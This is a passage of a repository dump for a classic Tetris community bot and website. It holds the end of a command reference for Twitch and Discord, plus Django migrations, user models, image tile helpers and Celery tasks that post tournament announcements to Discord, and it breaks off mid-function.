link the two accounts. This **token** is then used in the `!linktoken` command to complete the account linking process.\n\n---\n#### `!linktoken <token>`\n**Platforms**: Discord<br/>\n**Must be run in a private message**\n\nLinks the twitch account specified in the `!link` command, provided that the **token** is the same one that was sent to the twitch user. This means that to link an account, you must check your twitch whispers after sending the `!link` command and then input this token to the bot using this `!linktoken` command.\n\n---\n#### `!unlink`\n**Platforms**: Twitch, Discord<br/>\n\nWhichever platform this is run on, it will unlink your account on that platform from all other accounts it has been linked to. As of right now, only one Discord account can be associated with a twitch account, and vice versa. However, this command will dissociate from *all other platforms* in the future (yes, there will eventually be other platforms).\n\n---\n\n## Queueing commands\n\n#### `!queue`\n**Platforms**: Twitch<br/>\n**Aliases**: `!q`, `!matches`\n\nPrints the entire queue into chat.\n\n---\n#### `!forfeit <index>`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**\n\nForfeits the match at the specified index, provided you are one of the players in that match.\n\n---\n#### `!match [user] [results=3]`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**\n\nRetrieves the users in chat with personal bests closest to that of the specified user (or you). Displayes specified number of results.\n\n---\n#### `!challenge <user>`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**\n\nChallenges the specified user to a match. Only one challenge can be pending to a user at a time, and each user may only issue one challenge at a time.\n\n---\n#### `!accept`\n**Platforms**: Twitch<br/>\n**Must be run in a private message**\n\nAccepts the pending challenge to you, if there is one, and adds that match to the queue.\n\n---\n#### `!decline`\n**Platforms**: Twitch<br/>\n**Must be run in a private message**\n\nDeclines the pending challenge to you, if there is one.\n\n---\n#### `!cancel`<br/>\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**\n\nCancels your pending challenge to someone else, if you have issued one.\n\n---\n### Moderator-only\n\n#### `!open`\n**Platforms**: Twitch<br/>\n**Aliases**: `!openqueue`<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nOpens the queue. This both allows players to challenge one another and allows moderators to add matches manually.\n\n---\n#### `!close`\n**Platforms**: Twitch<br/>\n**Aliases**: `!closequeue`<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nCloses the queue. This prevents challenges from being issued or accepted. Moderators may no longer add matches to the queue unless they reopen it.\n\n---\n#### `!addmatch <player 1> <player 2>`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nAdds a match between the two specified players to the queue.\n\n---\n#### `!insertmatch <player 1> <player 2> <index>`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nAdds a match between the two specified players to the queue at the specified index, or at the end if the index is greater than the size of the queue.\n\n---\n#### `!movematch <start index> <end index>`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nMoves the match at the specified `start index` to the `end index`.\n\n---\n#### `!removematch <index>`<br/>\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nRemoves a match at the specified index from the queue.\n\n---\n#### `!clear`\n**Platforms**: Twitch<br/>\n**Aliases**: `!clearqueue`<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nClears the entire queue.\n\n**NOTE**: This command must be run as `!clear yesimsure` (Yes, I'm sure) to be certain that you didn't type this command by accident.\n\n---\n#### `!winner <player> [losing score]`\n**Platforms**: Twitch<br/>\n**Aliases**: `!declarewinner`<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nDeclares the specified player the winner of a game, and stores that result (as well as the optionally provided losing score) in the current match data.\n\n---\n#### `!endmatch`\n**Platforms**: Twitch<br/>\n**Must be run in a public channel**<br/>\n**Moderator-only**\n\nEnds the current match, automatically determining the winner based on the match data stored each time `!winner` was called.\n\n## Other commands\n\n#### `!summon`\n**Platforms**: Twitch, Discord\n\nSay this in a channel the bot is in to add the bot to your Twitch channel. If you've `!link`ed your Twitch and Discord accounts through the bot, you can even summon the bot to your Twitch channel by messaging it on Discord.\n\n**Note**: If you plan on using the countdown command (Or if you think the bot will be chatting often), make sure you make the bot a moderator to allow it to send more than one message per second.\n\n---\n#### `!pleaseleavemychannel`\n**Platforms**: Twitch<br/>\n**Must be run in a private message**\n\nCall this command in a whisper to the bot to remove the bot from your channel.\n\n---\n#### `!3`\n**Platforms**: Twitch<br/>\n**Moderator-only**\n\nCounts down from 3 before saying \"Tetris!\" in the chat. Works for any number from 3-10. \n\n**Note:** If the bot is not a moderator in your Twitch channel, it will not be able to say more than one message per second, and this restriction (which is built into Twitch) will interfere with countdowns. You can make the bot a moderator by typing `/mod @ClassicTetrisBot` after you have `!summon`ed it.\n\n---\n#### `!stencil`\n**Platforms**: Twitch, Discord<br/>\n\nPrints out info on, and link to download, the (in)famous Stencil.\n\n---\n#### `!help`\n**Platforms**: Twitch, Discord\n\nLinks the user to this page.\n\n### Utility Commands\n\n##### `!hz <level> <height> <taps>`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!hydrant`\n\nFor the given level, provides the approximate tapping speed(s) required to clear a given height with the number of taps required.\n\n#### `!seed`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!hex`\n\nPrints a random 6-digit hex code that is a valid NEStris seed. Used for HydrantDude's same piece sets romhack.\n\n---\n#### `!flip`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!coin`, `!coinflip`\n\nPrints \"Heads!\" or \"Tails!\" randomly. There is no \"side.\" The source code is available for you to verify this. Also, there is a 10 second timeout for this command to avoid spamming.\n\n---\n#### `!utc`\n**Platforms**: Discord<br/>\n**Aliases**: `!time`\n\nPrints the current date and time in UTC. Used for scheduling matches with restreaamers and other players.j\n" }, { "alpha_fraction": 0.5632911324501038, "alphanum_fraction": 0.6350210905075073, "avg_line_length": 23.947368621826172, "blob_id": "d472b7fbaf72ac133a558ff1b4cfc97cb34c3f4b", "content_id": "e9afd36ad7829eb5c6c91c7a6ca6e4f8835d6986", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 474, "license_type": "permissive", "max_line_length": 99, "num_lines": 19, "path": "/classic_tetris_project/migrations/0076_tournamentmatch_color.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2023-04-29 22:07\n\nimport colorfield.fields\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0075_auto_20230429_1913'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournamentmatch',\n name='color',\n field=colorfield.fields.ColorField(blank=True, default=None, max_length=18, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5585830807685852, "alphanum_fraction": 0.6130790114402771, "avg_line_length": 20.58823585510254, "blob_id": "ef630d5257899acfcabf107708c6a8d1dc3e5b3a", "content_id": "e4ec64fd69d619248f58b5b05d0e5e3e01f0716c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 367, "license_type": "permissive", "max_line_length": 74, "num_lines": 17, "path": "/classic_tetris_project/migrations/0072_remove_tournament_bracket_color.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-26 19:08\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0071_alter_tournament_bracket_color'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='tournament',\n name='bracket_color',\n ),\n ]\n" }, { "alpha_fraction": 0.6100987792015076, "alphanum_fraction": 0.6115623712539673, "avg_line_length": 31.691387176513672, "blob_id": "a5ab742a90baac69b060396f870c0fe219d25f9b", "content_id": "3ccad8713da72e489d911b4468a3e59310c41ad9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13665, "license_type": "permissive", "max_line_length": 110, "num_lines": 418, "path": "/classic_tetris_project/models/users.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import asyncio\nimport discord as discordpy\nimport re\nfrom django.conf import settings\nfrom django.contrib.auth.models import User as AuthUser\nfrom django.db import models\nfrom django.db.models import signals\nfrom django.dispatch import receiver\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom furl import furl\n\nfrom .. import twitch, discord\nfrom ..util import lazy\nfrom ..countries import Country\nfrom ..facades.user_permissions import UserPermissions\n\nclass User(models.Model):\n RE_PREFERRED_NAME = re.compile(r\"^[A-Za-z0-9\\-_. ]+$\")\n\n PRONOUN_CHOICES = {\n \"he\": \"He/him/his\",\n \"she\": \"She/her/hers\",\n \"they\": \"They/them/theirs\",\n }\n\n PLAYSTYLE_CHOICES = {\n \"das\": \"DAS\",\n \"hypertap\": \"Hypertap\",\n \"hybrid\": \"Hybrid\",\n \"roll\": \"Roll\",\n }\n\n preferred_name = models.CharField(max_length=64, null=True, blank=True)\n\n pronouns = models.CharField(max_length=16, null=True, blank=True,\n choices=PRONOUN_CHOICES.items())\n\n playstyle = models.CharField(max_length=16, null=True, blank=True,\n choices=PLAYSTYLE_CHOICES.items())\n\n country = models.CharField(max_length=3, null=True, blank=True,\n choices=[(country.abbreviation, country.full_name) for country in Country.ALL])\n\n same_piece_sets = models.BooleanField(default=False)\n\n def add_pb(self, score, console_type=\"ntsc\", starting_level=None, lines=None):\n from .scores import ScorePB\n return ScorePB.log(self, score=score, console_type=console_type.lower(),\n starting_level=starting_level, lines=lines)\n\n def get_pb_object(self, console_type=\"ntsc\", starting_level=None):\n scope = self.score_pbs.filter(console_type=console_type, current=True)\n if starting_level is not None:\n scope = scope.filter(starting_level=starting_level)\n score_pb = scope.order_by(\"-score\").first()\n return score_pb\n\n def get_pb(self, console_type=\"ntsc\", starting_level=None):\n pb = self.get_pb_object(console_type, starting_level)\n return pb.score if pb else None\n\n def set_pronouns(self, pronoun):\n pronoun = pronoun.lower()\n if pronoun in self.PRONOUN_CHOICES:\n self.pronouns = pronoun\n self.save()\n return True\n else:\n return False\n\n def set_playstyle(self, style):\n style = style.lower()\n if style in self.PLAYSTYLE_CHOICES:\n self.playstyle = style\n self.save()\n return True\n else:\n return False\n\n def set_country(self, country):\n country = Country.get_country(country)\n if country is not None:\n self.country = country.abbreviation\n self.save()\n return True\n else:\n return False\n\n def get_country(self):\n if self.country is None:\n return None\n return Country.get_country(self.country)\n\n def set_preferred_name(self, name):\n if User.RE_PREFERRED_NAME.match(name):\n self.preferred_name = name\n self.save()\n return True\n else:\n return False\n\n def set_same_piece_sets(self, value):\n accepted_y = [\"true\", \"yes\", \"y\", \"t\"]\n accepted_n = [\"false\", \"no\", \"n\", \"f\"]\n if value in accepted_y:\n value = True\n elif value in accepted_n:\n value = False\n\n else:\n return False\n\n self.same_piece_sets = value\n self.save()\n return True\n\n @property\n def preferred_display_name(self):\n if self.preferred_name:\n return self.preferred_name\n else:\n return self.display_name\n\n @property\n def display_name(self):\n if hasattr(self, \"twitch_user\"):\n return self.twitch_user.display_name or self.twitch_user.username\n elif self.preferred_name:\n return self.preferred_name\n elif hasattr(self, \"discord_user\"):\n return self.discord_user.display_name()\n else:\n return f\"User {self.id}\"\n\n @lazy\n def permissions(self):\n return UserPermissions(self)\n\n def merge(self, target_user):\n from ..util.merge import UserMerger\n UserMerger(self, target_user).merge()\n\n def profile_id(self):\n if hasattr(self, \"twitch_user\"):\n return self.twitch_user.username\n else:\n return self.id\n\n def __str__(self):\n return self.display_name\n\n def get_absolute_url(self, include_base=False):\n path = reverse(\"user\", kwargs={ \"id\": self.profile_id() })\n if include_base:\n return furl(settings.BASE_URL, path=path).url\n else:\n return path\n\n\nclass PlatformUser(models.Model):\n\n class Meta:\n abstract = True\n\n # Create User foreign key before saving\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if instance.user_id is None:\n user = User()\n user.save()\n instance.user = user\n\n def unlink_from_user(self):\n self.user_id = None\n self.save()\n\n\nclass TwitchUser(PlatformUser):\n user = models.OneToOneField(User, on_delete=models.CASCADE, related_name=\"twitch_user\")\n twitch_id = models.CharField(max_length=64, unique=True, blank=False) # unique index\n \"\"\"\n username is set when:\n - a TwitchUser with no username is saved\n - a TwitchUser runs a command\n - TwitchUser.from_username is called with fetch=True\n \"\"\"\n username = models.CharField(max_length=25, unique=True, blank=False) # unique index\n display_name = models.CharField(max_length=25, null=True)\n\n @staticmethod\n def fetch_by_twitch_id(twitch_id):\n try:\n return TwitchUser.objects.get(twitch_id=twitch_id)\n except TwitchUser.DoesNotExist:\n return None\n\n @staticmethod\n def fetch_or_create_by_twitch_id(twitch_id):\n twitch_user, created = TwitchUser.objects.get_or_create(twitch_id=twitch_id)\n return twitch_user\n\n @staticmethod\n def from_username(username, refetch=False):\n \"\"\"\n If refetch is True and we can't find a TwitchUser with the given username, query Twitch's\n API to check if an existing TwitchUser updated their username\n \"\"\"\n try:\n twitch_user = TwitchUser.objects.get(username__iexact=username)\n return twitch_user\n except TwitchUser.DoesNotExist:\n if refetch:\n user_obj = twitch.API.user_from_username(username)\n if user_obj is not None:\n twitch_user = TwitchUser.fetch_by_twitch_id(user_obj.id)\n if twitch_user is not None:\n twitch_user.update_username(user_obj)\n return twitch_user\n\n return None\n\n @staticmethod\n def get_or_create_from_username(username):\n twitch_user = TwitchUser.from_username(username)\n\n if twitch_user is None:\n user_obj = twitch.API.user_from_username(username)\n if user_obj is not None:\n twitch_user = TwitchUser.get_or_create_from_user_obj(user_obj)\n\n if twitch_user is None:\n raise Exception(f\"No Twitch account exists with username '{username}'.\")\n return twitch_user\n\n @staticmethod\n def get_or_create_from_user_obj(user_obj):\n try:\n twitch_user = TwitchUser.objects.get(twitch_id=str(user_obj.id))\n twitch_user.update_username(user_obj)\n return twitch_user\n except TwitchUser.DoesNotExist:\n return TwitchUser.objects.create(\n twitch_id=str(user_obj.id),\n username=user_obj.username,\n display_name=user_obj.display_name,\n )\n\n\n @lazy\n def user_obj(self):\n return twitch.client.get_user(self.twitch_id)\n\n @property\n def user_tag(self):\n return f\"@{self.username}\"\n\n @property\n def platform_id(self):\n return int(self.twitch_id)\n\n @property\n def twitch_url(self):\n return f\"https://www.twitch.tv/{self.username}\"\n\n def send_message(self, message):\n self.user_obj.send_message(message)\n\n def update_username(self, user_obj=None):\n user_obj = user_obj or self.user_obj\n if self.username != user_obj.username or self.display_name != user_obj.display_name:\n self.username = user_obj.username\n self.display_name = user_obj.display_name\n self.save()\n if hasattr(self, \"channel\") and self.channel.connected:\n self.channel.summon_bot()\n\n def get_or_create_channel(self):\n if hasattr(self, \"channel\"):\n return self.channel\n else:\n from .twitch import TwitchChannel\n channel = TwitchChannel(twitch_user=self)\n channel.save()\n return channel\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if not instance.username:\n instance.username = instance.user_obj.username\n\n PlatformUser.before_save(sender, instance, **kwargs)\n\n def __getstate__(self):\n return {k: v for k, v in self.__dict__.items() if not k.startswith(\"_memo_\")}\n def __setstate__(self, state):\n self.__dict__.update(state)\n\n def __str__(self):\n return self.display_name or self.username\n\nsignals.pre_save.connect(TwitchUser.before_save, sender=TwitchUser)\n\n\nclass DiscordUser(PlatformUser):\n user = models.OneToOneField(User, on_delete=models.CASCADE, related_name=\"discord_user\")\n discord_id = models.CharField(max_length=64, unique=True, blank=False)\n username = models.CharField(max_length=32, blank=False)\n discriminator = models.CharField(max_length=4, blank=False)\n\n class Meta:\n constraints = [\n # Implicit indexes on these columns\n models.UniqueConstraint(fields=[\"username\", \"discriminator\"],\n name=\"unique_username_discriminator\"),\n ]\n\n @staticmethod\n def get_or_create_from_user_obj(user_obj):\n try:\n discord_user = DiscordUser.objects.get(discord_id=str(user_obj.id))\n discord_user.update_fields(user_obj)\n return discord_user\n except DiscordUser.DoesNotExist:\n return DiscordUser.objects.create(\n discord_id=str(user_obj.id),\n username=user_obj.name,\n discriminator=user_obj.discriminator\n )\n\n @staticmethod\n def get_from_username(username, discriminator=None):\n try:\n query = DiscordUser.objects.filter(username__iexact=username)\n if discriminator is not None:\n query = query.filter(discriminator=discriminator)\n\n except DiscordUser.DoesNotExist:\n return None\n\n if not query.count():\n return None\n\n # TODO: Address multiple results\n return query.first()\n\n def get_member(self, guild_id=None):\n return discord.get_guild_member(int(self.discord_id), guild_id)\n\n @lazy\n def user_obj(self):\n if discord.client.is_ready():\n user = discord.client.get_user(int(self.discord_id))\n else:\n user = discord.API.user_from_id(self.discord_id)\n\n if user:\n self.update_fields(user)\n\n return user\n\n def update_fields(self, user_obj):\n if str(user_obj.id) != self.discord_id:\n raise Exception(\"got wrong discord id\")\n # Only bother updating if name or discriminator have changed\n if self.username != user_obj.name or self.discriminator != user_obj.discriminator:\n self.username = user_obj.name\n self.discriminator = user_obj.discriminator\n self.save()\n\n def display_name(self, guild_id=None):\n member = self.get_member(guild_id)\n return member.display_name if member else self.username\n\n @property\n def user_tag(self):\n return f\"<@{self.discord_id}>\"\n\n @property\n def platform_id(self):\n return int(self.discord_id)\n\n @property\n def username_with_discriminator(self):\n return f\"{self.username}#{self.discriminator}\"\n\n def send_message(self, message):\n if not isinstance(self.user_obj, discordpy.User):\n raise Exception(\"can't send message from this context\")\n # TODO run this in an async task that's guaranteed to have a discord client connection\n asyncio.run_coroutine_threadsafe(\n self.user_obj.send(message),\n discord.client.loop\n )\n\n def __str__(self):\n return self.username_with_discriminator\n\nsignals.pre_save.connect(DiscordUser.before_save, sender=DiscordUser)\n\n\nclass WebsiteUser(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE, related_name=\"website_user\")\n auth_user = models.OneToOneField(AuthUser, on_delete=models.CASCADE, related_name=\"website_user\")\n\n @staticmethod\n def fetch_by_user(user, username=None):\n \"\"\"\n Creates or fetches a WebsiteUser from a given User object.\n If the WebsiteUser does not exist, the given username is used for the\n new auth User.\n \"\"\"\n try:\n return WebsiteUser.objects.get(user=user)\n except WebsiteUser.DoesNotExist:\n username = username or f\"user_{user.id}\"\n auth_user = AuthUser.objects.create_user(username=username)\n return WebsiteUser.objects.create(user=user, auth_user=auth_user)\n" }, { "alpha_fraction": 0.6187527775764465, "alphanum_fraction": 0.6311366558074951, "avg_line_length": 31.299999237060547, "blob_id": "2e8f6b06d5f0f3d396ab8f71fdf2bdc0892c978c", "content_id": "0e71411d3e295ef9dcc87b33c4927b85964e15f5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4522, "license_type": "permissive", "max_line_length": 87, "num_lines": 140, "path": "/classic_tetris_project/util/fieldgen/tiles.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from PIL import Image\nfrom enum import IntEnum\nimport os\n\n\nclass InputTile(IntEnum):\n LEFT = 0\n DOT = 1\n RIGHT = 2\n LEFT_GRAY = 3\n DOT_GRAY = 4\n RIGHT_GRAY = 5\n COUNT = 6\n\n\nclass TileMath(object):\n # maths support class for positioning tiles and pixels\n # since the position is global to the template, we store\n # these values here, rather than inside their respective\n # classes.\n BLOCK_SIZE = 8\n FIELD_START = (1, 1) # should we upgrade this to a class?\n FIELD_WIDTH = 10\n FIELD_HEIGHT = 20\n\n INPUT_START = (12, 0)\n INPUT_WIDTH = 7\n INPUT_HEIGHT = 7\n\n LEVEL_START = (15, 16)\n LEVEL_END = (16, 16)\n # converting from tile-indice to pixel coordinates\n @staticmethod\n def get_block_rect(coord):\n coord_tr = (coord[0] * TileMath.BLOCK_SIZE, coord[1] * TileMath.BLOCK_SIZE)\n coord_br = (\n coord_tr[0] + TileMath.BLOCK_SIZE - 1,\n coord_tr[1] + TileMath.BLOCK_SIZE - 1,\n )\n return coord_tr + coord_br\n\n # managing locations\n @staticmethod\n def get_input_coord(index):\n # returns the tile-index-coord of a given input index\n x = index % TileMath.INPUT_WIDTH\n y = index // TileMath.INPUT_WIDTH\n # upgrade to Point or Coord class? then addition will be natural\n # or: tuple(map(lambda x, y: x + y, coord, TileMath.FIELD_START))\n result = [TileMath.INPUT_START[0] + x, TileMath.INPUT_START[1] + y]\n return result\n\n @staticmethod\n def get_playfield_coord(coord):\n # returns the tile-index-coord of a given playfield coordinate\n # coordinates are in x,y format\n\n # upgrade to Point or Coord class? then addition will be natural\n # or: tuple(map(lambda x, y: x + y, coord, TileMath.FIELD_START))\n return (coord[0] + TileMath.FIELD_START[0], coord[1] + TileMath.FIELD_START[1])\n\n @staticmethod\n def tile_index_to_pixel(tile):\n return tile * TileMath.BLOCK_SIZE\n\n @staticmethod\n def tile_indices_to_pixels(tile_indices):\n # converts from tile coordinates to pixel coordinates\n # returns the modified array\n return [TileMath.tile_index_to_pixel(item) for item in tile_indices]\n\n\nclass ImageLoader(object):\n # base class that enables loading of images\n def __init__(self, asset_path):\n self.asset_path = asset_path\n\n # loading / caching our images\n def load_image(self, name):\n file_path = os.path.join(self.asset_path, name)\n return Image.open(file_path)\n\n\nclass TemplateManager(ImageLoader):\n # Since this isn't a tile, it belongs in its own class\n TEMPLATE = \"template.png\"\n\n def __init__(self, *args):\n super(TemplateManager, self).__init__(*args)\n self.template = self.load_image(self.TEMPLATE)\n\n\nclass TileManager(ImageLoader):\n # class that is in charge of providing image tiles\n NUMBER_FILE = \"numbers.png\"\n BLOCK_FILE = \"block_tiles.png\"\n ARROW_FILE = \"arrows.png\"\n\n def __init__(self, *args):\n super(TileManager, self).__init__(*args)\n self.numbers = self.load_image(self.NUMBER_FILE)\n self.block_tiles = self.load_image(self.BLOCK_FILE)\n self.arrows = ArrowTileManager(self.load_image(self.ARROW_FILE))\n\n # loading / caching our images\n def load_image(self, name):\n file_path = os.path.join(self.asset_path, name)\n return Image.open(file_path)\n\n def get_active_piece_tile(self, level):\n return self.block_tiles.crop(TileMath.get_block_rect([0, level % 10]))\n\n def get_block_tiles(self, level):\n # return non-i piece tiles for a given level\n block1 = self.block_tiles.crop(TileMath.get_block_rect([1, level % 10]))\n block2 = self.block_tiles.crop(TileMath.get_block_rect([2, level % 10]))\n return (block1, block2)\n\n def get_number_tile(self, number):\n return self.numbers.crop(TileMath.get_block_rect([number, 0]))\n\n def get_arrow(self, tile_type):\n return self.arrows.get_tile(tile_type)\n\n\nclass ArrowTileManager(object):\n def __init__(self, image):\n self.tiles = self.split_tiles(image)\n\n def split_tiles(self, image):\n result = {}\n for i in range(int(InputTile.COUNT)):\n rect = [i, 0, i + 1, 1]\n rect = TileMath.tile_indices_to_pixels(rect)\n result[InputTile(i)] = image.crop(rect)\n return result\n\n def get_tile(self, tile_type):\n # returns a copy of an arrow tile\n return self.tiles[tile_type].copy()\n" }, { "alpha_fraction": 0.7924528121948242, "alphanum_fraction": 0.7924528121948242, "avg_line_length": 16.66666603088379, "blob_id": "ab0df4177041b3e421c978ecdef78723532cca28", "content_id": "3c082c68ef44180540d31e3af746d39dc4357225", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 53, "license_type": "permissive", "max_line_length": 32, "num_lines": 3, "path": "/classic_tetris_project/env.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.conf import settings\n\nenv = settings.ENV\n" }, { "alpha_fraction": 0.66015625, "alphanum_fraction": 0.66015625, "avg_line_length": 35.71428680419922, "blob_id": "3fa777305c58335f608bfd87f06966a4c8b5c726", "content_id": "91ddee619892f267bfb71cf48381d56c6f4ace2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "permissive", "max_line_length": 47, "num_lines": 7, "path": "/classic_tetris_project/util/json_template.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import json\ndef match_template(template, **kwargs):\n str_message = template\n str_message = str_message.format(**kwargs)\n str_message = str_message.replace(\"{{\",\"{\")\n str_message = str_message.replace(\"}}\",\"}\")\n return json.loads(str_message)" }, { "alpha_fraction": 0.5934619903564453, "alphanum_fraction": 0.5997296571731567, "avg_line_length": 43.464481353759766, "blob_id": "b0e2623fcb34d18afd31f7581e670a3d97584e32", "content_id": "1a0d2fdcb4a469643f533ae3814e3032605adf87", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8137, "license_type": "permissive", "max_line_length": 105, "num_lines": 183, "path": "/classic_tetris_project/tasks.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import re\nfrom celery import shared_task\nfrom disco.types.message import MessageEmbed\nfrom django.template.loader import render_to_string\n\nfrom . import discord_disco as discord\nfrom .env import env\n\n\nQUALIFIER_COLOR_APPROVED = 0x07D12F\nQUALIFIER_COLOR_REJECTED = 0xE60000\n\n\n@shared_task\ndef announce_qualifier(qualifier_id):\n from .models import Qualifier\n qualifier = Qualifier.objects.get(id=qualifier_id)\n event = qualifier.event\n discord_user = qualifier.user.discord_user\n twitch_user = qualifier.user.twitch_user\n\n # Send message to channel\n channel_id = event.qualifying_channel_id\n if channel_id:\n message = \"{discord_user} is about to qualify for {event}! Go watch live on {twitch_url}\".format(\n discord_user=discord_user.user_tag,\n event=event.name,\n twitch_url=twitch_user.twitch_url,\n )\n discord.send_channel_message(channel_id, message)\n\n\n@shared_task\ndef report_submitted_qualifier(qualifier_id):\n from .models import Qualifier\n qualifier = Qualifier.objects.get(id=qualifier_id)\n event = qualifier.event\n discord_user = qualifier.user.discord_user\n\n # Send message to channel\n channel_id = event.qualifying_channel_id\n if channel_id:\n channel_embed = MessageEmbed()\n channel_embed.description = render_to_string(\"discord/qualifier_submitted.txt\", {\n \"event_name\": event.name,\n \"event_url\": event.get_absolute_url(True),\n \"qualifier\": qualifier,\n }).replace(\"\\\\\\n\", \"\").strip()\n channel_embed.color = QUALIFIER_COLOR_APPROVED\n discord.send_channel_message(channel_id, embed=channel_embed)\n\n\n@shared_task\ndef report_reviewed_qualifier(qualifier_id):\n from .models import Qualifier\n qualifier = Qualifier.objects.get(id=qualifier_id)\n event = qualifier.event\n discord_user = qualifier.user.discord_user\n\n # Send message to user\n user_embed = MessageEmbed()\n user_embed.description = render_to_string(\"discord/qualifier_reviewed.txt\", {\n \"event_name\": event.name,\n \"event_url\": event.get_absolute_url(True),\n \"qualifier\": qualifier,\n \"checks\": ([(description, qualifier.review_data[\"checks\"][check])\n for check, description in Qualifier.REVIEWER_CHECKS\n if check in qualifier.review_data[\"checks\"]]\n if qualifier.review_data[\"checks\"] else None),\n }).replace(\"\\\\\\n\", \"\").strip()\n user_embed.color = (QUALIFIER_COLOR_APPROVED if qualifier.approved else QUALIFIER_COLOR_REJECTED)\n discord.send_direct_message(discord_user.discord_id, embed=user_embed)\n\n@shared_task\ndef update_tournament_bracket(tournament_id):\n from .models import Tournament\n tournament = Tournament.objects.get(id=tournament_id)\n tournament.update_bracket()\n\n@shared_task\ndef announce_scheduled_tournament_match(tournament_match_id):\n from .models import TournamentMatch\n from .facades.tournament_match_display import TournamentMatchDisplay\n tournament_match = TournamentMatch.objects.get(id=tournament_match_id)\n match = tournament_match.match\n match_display = TournamentMatchDisplay(tournament_match)\n tournament = tournament_match.tournament\n event = tournament.event\n user1 = tournament_match.player1.user if tournament_match.player1 else None\n user2 = tournament_match.player2.user if tournament_match.player2 else None\n\n channel_id = event and event.reporting_channel_id\n if channel_id:\n embed = MessageEmbed()\n embed.title = \"{} Match {} Scheduled\".format(\n tournament.discord_emote_string or tournament.short_name,\n tournament_match.match_number\n )\n embed.url = tournament_match.get_absolute_url(True)\n embed.color = tournament.color_int()\n embed.description = \"[{}]({}) vs [{}]({})\".format(\n user1.display_name,\n user1.get_absolute_url(True),\n user2.display_name,\n user2.get_absolute_url(True),\n )\n embed.add_field(name=\"Tournament\",\n value=\"[{}]({})\".format(tournament.name, tournament.get_absolute_url(True)),\n inline=False)\n embed.add_field(name=\"Player 1\",\n value=(\"[{}]({}) ({})\".format(user1.display_name,\n user1.get_absolute_url(True),\n tournament_match.player1.seed)\n if user1 else match_display.player1_display_name()),\n inline=True)\n embed.add_field(name=\"Player 2\",\n value=(\"[{}]({}) ({})\".format(user2.display_name,\n user2.get_absolute_url(True),\n tournament_match.player2.seed)\n if user2 else match_display.player2_display_name()),\n inline=True)\n embed.add_field(name=\"Time\",\n value=(\"<t:{}:f>\".format(int(match.start_date.timestamp()))\n if match and match.start_date else None),\n inline=False)\n embed.add_field(name=\"Streamed at\",\n value=(match.channel.twitch_url() if match.channel else None),\n inline=False)\n\n discord.send_channel_message(channel_id, embed=embed)\n\n@shared_task\ndef report_tournament_match(tournament_match_id):\n from .models import TournamentMatch\n from .facades.tournament_match_display import TournamentMatchDisplay\n tournament_match = TournamentMatch.objects.get(id=tournament_match_id)\n match = tournament_match.match\n match_display = TournamentMatchDisplay(tournament_match)\n tournament = tournament_match.tournament\n event = tournament.event\n user1 = tournament_match.player1.user if tournament_match.player1 else None\n user2 = tournament_match.player2.user if tournament_match.player2 else None\n winner = tournament_match.winner.user if tournament_match.winner else None\n\n channel_id = event and event.reporting_channel_id\n if channel_id and match and winner:\n discord_winner = (discord.API.users_get(winner.discord_user.discord_id)\n if hasattr(winner, \"discord_user\") else None)\n\n embed = MessageEmbed()\n embed.title = \"{} Match {} Completed\".format(\n tournament.discord_emote_string or tournament.short_name,\n tournament_match.match_number\n )\n embed.url = tournament_match.get_absolute_url(True)\n embed.color = tournament.color_int()\n if discord_winner:\n embed.thumbnail.url = discord_winner.avatar_url\n embed.description = \"Winner: [{}]({}) ({}-{})\".format(\n winner.display_name,\n winner.get_absolute_url(True),\n match.winner_wins(),\n match.loser_wins(),\n )\n embed.add_field(name=\"Tournament\",\n value=\"[{}]({})\".format(tournament.name, tournament.get_absolute_url(True)),\n inline=False)\n embed.add_field(name=\"Player 1\",\n value=(\"[{}]({}) ({})\".format(user1.display_name,\n 